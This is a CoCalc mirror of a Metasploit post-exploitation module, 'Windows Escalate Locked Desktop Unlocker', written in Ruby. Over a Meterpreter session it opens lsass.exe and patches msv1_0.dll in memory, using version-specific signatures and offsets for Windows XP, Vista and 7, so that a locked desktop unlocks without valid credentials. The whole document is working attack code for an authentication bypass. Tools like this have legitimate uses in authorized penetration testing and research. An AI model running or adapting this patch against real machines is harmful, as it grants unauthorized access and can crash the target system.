Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/screen_unlock.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Version
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Escalate Locked Desktop Unlocker',
16
'Description' => %q{
17
This module unlocks a locked Windows desktop by patching
18
the respective code inside the LSASS.exe process. This
19
patching process can result in the target system hanging or
20
even rebooting, so be careful when using this module on
21
production systems.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'L4teral <l4teral[4t]gmail com>', # Meterpreter script
26
'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
27
],
28
'References' => [
29
['URL', 'http://www.storm.net.nz/projects/16'],
30
],
31
'Platform' => [ 'win' ],
32
'SessionTypes' => [ 'meterpreter' ],
33
'Compat' => {
34
'Meterpreter' => {
35
'Commands' => %w[
36
stdapi_sys_process_attach
37
stdapi_sys_process_memory_read
38
stdapi_sys_process_memory_write
39
]
40
}
41
},
42
'Notes' => {
43
'Stability' => [CRASH_OS_DOWN],
44
'SideEffects' => [SCREEN_EFFECTS],
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options([
51
OptBool.new('REVERT', [false, 'Enable this option to revert the in-memory patch and enable locking again', false])
52
])
53
end
54
55
def unsupported
56
print_error('This platform is not supported with this Script!')
57
raise Rex::Script::Completed
58
end
59
60
def run
61
revert = datastore['REVERT']
62
63
targets = [
64
{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 },
65
{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 },
66
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
67
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
68
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
69
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 },
70
{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish
71
]
72
73
unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
74
version = get_version_info
75
76
targets.each do |t|
77
next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server?
78
79
target = t
80
print_status("OS '#{version.product_name}' found in known targets")
81
pid = client.sys.process['lsass.exe']
82
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
83
dllbase = p.image['msv1_0.dll']
84
85
sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack('H*')[0]
86
if sig != target[:sig]
87
print_error('Found signature does not match')
88
next
89
end
90
91
old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack('H*')[0]
92
if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
93
print_error('Found code does not match')
94
next
95
end
96
97
print_status('Patching...')
98
new_code = revert ? target[:orig_code] : target[:patch]
99
p.memory.write(dllbase + target[:patchoffset], [new_code].pack('H*'))
100
101
written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack('H*')[0]
102
if (written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)
103
print_status('Done!')
104
raise Rex::Script::Completed
105
end
106
107
print_error('Failed!')
108
end
109
110
print_error('No working target found')
111
end
112
end
113
114